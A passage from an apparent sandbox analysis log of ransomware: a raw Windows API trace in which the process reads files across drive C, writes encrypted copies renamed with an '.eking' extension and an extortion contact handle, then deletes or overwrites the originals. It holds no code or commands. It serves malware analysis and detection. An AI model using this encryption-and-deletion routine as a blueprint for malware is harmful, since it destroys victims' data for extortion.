dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0098.810] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0098.811] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0098.811] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\watermark.bmp.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x31c [0098.811] ReadFile (in: hFile=0x330, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0x19688, lpOverlapped=0x0) returned 1 [0098.814] WriteFile (in: hFile=0x31c, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x19690, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x19690, lpOverlapped=0x0) returned 1 [0098.817] WriteFile (in: hFile=0x31c, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0xf2, lpOverlapped=0x0) returned 1 [0098.817] CloseHandle (hObject=0x330) returned 1 [0098.817] CloseHandle (hObject=0x31c) returned 1 [0099.244] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp")) returned 1 [0099.246] SetEvent (hEvent=0x2cc) returned 1 [0099.247] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0099.300] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=2192672) returned 1 [0099.300] CloseHandle (hObject=0x334) returned 1 [0099.301] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu")) returned 0x80 [0099.301] MoveFileW (lpExistingFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu"), lpNewFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 1 [0099.302] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0099.302] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfbd8 | out: lpNewFilePointer=0x0) returned 1 [0099.302] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfbd8 | out: lpNewFilePointer=0x0) returned 1 [0099.302] ReadFile (in: hFile=0x334, lpBuffer=0x398d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35bfbe4, lpOverlapped=0x0 | out: lpBuffer=0x398d058*, lpNumberOfBytesRead=0x35bfbe4*=0x40000, lpOverlapped=0x0) returned 1 [0099.378] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0xb270a, lpNewFilePointer=0x0, dwMoveMethod=0x35bfbd8 | out: lpNewFilePointer=0x0) returned 1 [0099.378] ReadFile (in: hFile=0x334, lpBuffer=0x39cd058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35bfbe4, lpOverlapped=0x0 | out: lpBuffer=0x39cd058*, lpNumberOfBytesRead=0x35bfbe4*=0x40000, lpOverlapped=0x0) returned 1 [0099.605] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x1d7520, lpNewFilePointer=0x0, dwMoveMethod=0x35bfbd8 | out: lpNewFilePointer=0x0) returned 1 [0099.605] ReadFile (in: hFile=0x334, lpBuffer=0x3a0d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35bfbe4, lpOverlapped=0x0 | out: lpBuffer=0x3a0d058*, lpNumberOfBytesRead=0x35bfbe4*=0x40000, lpOverlapped=0x0) returned 1 [0100.626] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd48 | out: lpNewFilePointer=0x0) returned 1 [0100.626] WriteFile (in: hFile=0x334, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0xc0132, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0xc0132, lpOverlapped=0x0) returned 1 [0100.653] SetEndOfFile (hFile=0x334) returned 1 [0100.654] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x1d7520, lpNewFilePointer=0x0, dwMoveMethod=0x35bfbe0 | out: lpNewFilePointer=0x0) returned 1 [0100.654] WriteFile (in: hFile=0x334, lpBuffer=0x3a4d16a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35bfbec, lpOverlapped=0x0 | out: lpBuffer=0x3a4d16a*, lpNumberOfBytesWritten=0x35bfbec*=0x40000, lpOverlapped=0x0) returned 1 [0100.656] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0xb270a, lpNewFilePointer=0x0, dwMoveMethod=0x35bfbe0 | out: lpNewFilePointer=0x0) returned 1 [0100.656] WriteFile (in: hFile=0x334, lpBuffer=0x3a4d16a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35bfbec, lpOverlapped=0x0 | out: lpBuffer=0x3a4d16a*, lpNumberOfBytesWritten=0x35bfbec*=0x40000, lpOverlapped=0x0) returned 1 [0100.659] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfbe0 | out: lpNewFilePointer=0x0) returned 1 [0100.659] WriteFile (in: hFile=0x334, lpBuffer=0x3a4d16a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35bfbec, lpOverlapped=0x0 | out: lpBuffer=0x3a4d16a*, lpNumberOfBytesWritten=0x35bfbec*=0x40000, lpOverlapped=0x0) returned 1 [0100.661] CloseHandle (hObject=0x334) returned 1 [0103.411] SetEvent (hEvent=0x2cc) returned 1 [0103.411] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0103.411] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=5091790) returned 1 [0103.412] CloseHandle (hObject=0x334) returned 1 [0103.412] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu")) returned 0x80 [0103.412] MoveFileW (lpExistingFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu"), lpNewFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 1 [0103.413] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0103.413] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfbd8 | out: lpNewFilePointer=0x0) returned 1 [0103.413] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfbd8 | out: lpNewFilePointer=0x0) returned 1 [0103.413] ReadFile (in: hFile=0x334, lpBuffer=0x398d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35bfbe4, lpOverlapped=0x0 | out: lpBuffer=0x398d058*, lpNumberOfBytesRead=0x35bfbe4*=0x40000, lpOverlapped=0x0) returned 1 [0103.507] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x19e5ef, lpNewFilePointer=0x0, dwMoveMethod=0x35bfbd8 | out: lpNewFilePointer=0x0) returned 1 [0103.507] ReadFile (in: hFile=0x334, lpBuffer=0x39cd058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35bfbe4, lpOverlapped=0x0 | out: lpBuffer=0x39cd058*, lpNumberOfBytesRead=0x35bfbe4*=0x40000, lpOverlapped=0x0) returned 1 [0103.705] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x49b1ce, lpNewFilePointer=0x0, dwMoveMethod=0x35bfbd8 | out: lpNewFilePointer=0x0) returned 1 [0103.705] ReadFile (in: hFile=0x334, lpBuffer=0x3a0d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35bfbe4, lpOverlapped=0x0 | out: lpBuffer=0x3a0d058*, lpNumberOfBytesRead=0x35bfbe4*=0x40000, lpOverlapped=0x0) returned 1 [0104.020] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd48 | out: lpNewFilePointer=0x0) returned 1 [0104.021] WriteFile (in: hFile=0x334, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0xc0132, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0xc0132, lpOverlapped=0x0) returned 1 [0104.398] SetEndOfFile (hFile=0x334) returned 1 [0104.398] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x49b1ce, lpNewFilePointer=0x0, dwMoveMethod=0x35bfbe0 | out: lpNewFilePointer=0x0) returned 1 [0104.398] WriteFile (in: hFile=0x334, lpBuffer=0x3a4d16a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35bfbec, lpOverlapped=0x0 | out: lpBuffer=0x3a4d16a*, lpNumberOfBytesWritten=0x35bfbec*=0x40000, lpOverlapped=0x0) returned 1 [0104.401] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x19e5ef, lpNewFilePointer=0x0, dwMoveMethod=0x35bfbe0 | out: lpNewFilePointer=0x0) returned 1 [0104.401] WriteFile (in: hFile=0x334, lpBuffer=0x3a4d16a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35bfbec, lpOverlapped=0x0 | out: lpBuffer=0x3a4d16a*, lpNumberOfBytesWritten=0x35bfbec*=0x40000, lpOverlapped=0x0) returned 1 [0104.404] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfbe0 | out: lpNewFilePointer=0x0) returned 1 [0104.404] WriteFile (in: hFile=0x334, lpBuffer=0x3a4d16a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35bfbec, lpOverlapped=0x0 | out: lpBuffer=0x3a4d16a*, lpNumberOfBytesWritten=0x35bfbec*=0x40000, lpOverlapped=0x0) returned 1 [0104.409] CloseHandle (hObject=0x334) Thread: id = 21 os_tid = 0x1300 [0075.298] GetProcessHeap () returned 0x11a0000 [0075.298] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3aa0048 [0075.299] GetProcessHeap () returned 0x11a0000 [0075.299] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3ab0050 [0075.300] GetProcessHeap () returned 0x11a0000 [0075.300] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x28) returned 0x11cd228 [0075.300] GetProcessHeap () returned 0x11a0000 [0075.300] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x110102) returned 0x3baf020 [0075.305] GetProcessHeap () returned 0x11a0000 [0075.305] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x50) returned 0x11c5368 [0075.305] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x772d0000 [0075.306] GetProcAddress (hModule=0x772d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x772e6b30 [0075.306] Wow64DisableWow64FsRedirection (in: OldValue=0x36ff9f4 | out: OldValue=0x36ff9f4*=0x0) returned 1 [0075.306] GetProcessHeap () returned 0x11a0000 [0075.306] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c5368 | out: hHeap=0x11a0000) returned 1 [0075.306] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x294 [0077.199] GetFileSizeEx (in: hFile=0x294, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=6004) returned 1 [0077.199] CloseHandle (hObject=0x294) returned 1 [0077.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log")) returned 0x20 [0077.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log")) returned 0x20 [0077.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0077.200] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x294 [0077.200] SetFilePointerEx (in: hFile=0x294, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0077.200] SetFilePointerEx (in: hFile=0x294, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0077.200] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x304 [0077.201] ReadFile (in: hFile=0x294, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0x1774, lpOverlapped=0x0) returned 1 [0077.221] WriteFile (in: hFile=0x304, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x1780, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x1780, lpOverlapped=0x0) returned 1 [0077.223] WriteFile (in: hFile=0x304, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x122, lpOverlapped=0x0) returned 1 [0077.223] CloseHandle (hObject=0x294) returned 1 [0077.223] CloseHandle (hObject=0x304) returned 1 [0077.395] DeleteFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log")) returned 1 [0077.397] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0077.402] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=144072) returned 1 [0077.403] CloseHandle (hObject=0x304) returned 1 [0077.403] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll")) returned 0x20 [0077.403] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll")) returned 0x20 [0077.403] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0077.403] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0077.403] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0077.403] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0077.404] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x294 [0077.404] ReadFile (in: hFile=0x304, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0x232c8, lpOverlapped=0x0) returned 1 [0077.409] WriteFile (in: hFile=0x294, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x232d0, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x232d0, lpOverlapped=0x0) returned 1 [0077.413] WriteFile (in: hFile=0x294, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x102, lpOverlapped=0x0) returned 1 [0077.413] CloseHandle (hObject=0x304) returned 1 [0077.413] CloseHandle (hObject=0x294) returned 1 [0077.420] DeleteFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll")) returned 1 [0077.422] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x294 [0077.424] GetFileSizeEx (in: hFile=0x294, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=156) returned 1 [0077.424] CloseHandle (hObject=0x294) returned 1 [0077.424] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini")) returned 0x20 [0077.425] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini")) returned 0x20 [0077.425] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0077.425] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x294 [0077.425] SetFilePointerEx (in: hFile=0x294, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0077.425] SetFilePointerEx (in: hFile=0x294, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0077.425] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x304 [0077.426] ReadFile (in: hFile=0x294, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0x9c, lpOverlapped=0x0) returned 1 [0077.427] WriteFile (in: hFile=0x304, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0xa0, lpOverlapped=0x0) returned 1 [0077.429] WriteFile (in: hFile=0x304, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x102, lpOverlapped=0x0) returned 1 [0077.429] CloseHandle (hObject=0x294) returned 1 [0077.429] CloseHandle (hObject=0x304) returned 1 [0077.718] DeleteFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini")) returned 1 [0077.719] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0077.719] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x36ff9a0 | out: lpFileSize=0x36ff9a0*=129) returned 1 [0077.719] CloseHandle (hObject=0x304) returned 1 [0077.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26 [0077.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26 [0077.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0077.720] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0077.720] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0077.720] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36ff968 | out: lpNewFilePointer=0x0) returned 1 [0077.720] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x26, hTemplateFile=0x0) returned 0x300 [0077.721] ReadFile (in: hFile=0x304, lpBuffer=0x3baf020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x36ff974, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesRead=0x36ff974*=0x81, lpOverlapped=0x0) returned 1 [0077.721] WriteFile (in: hFile=0x300, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x36ff958, lpOverlapped=0x0 | out: lpBuffer=0x3baf020*, lpNumberOfBytesWritten=0x36ff958*=0x90, lpOverlapped=0x0) returned 1 [0077.723] WriteFile (in: hFile=0x300, lpBuffer=0x3baf020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x36ff958, 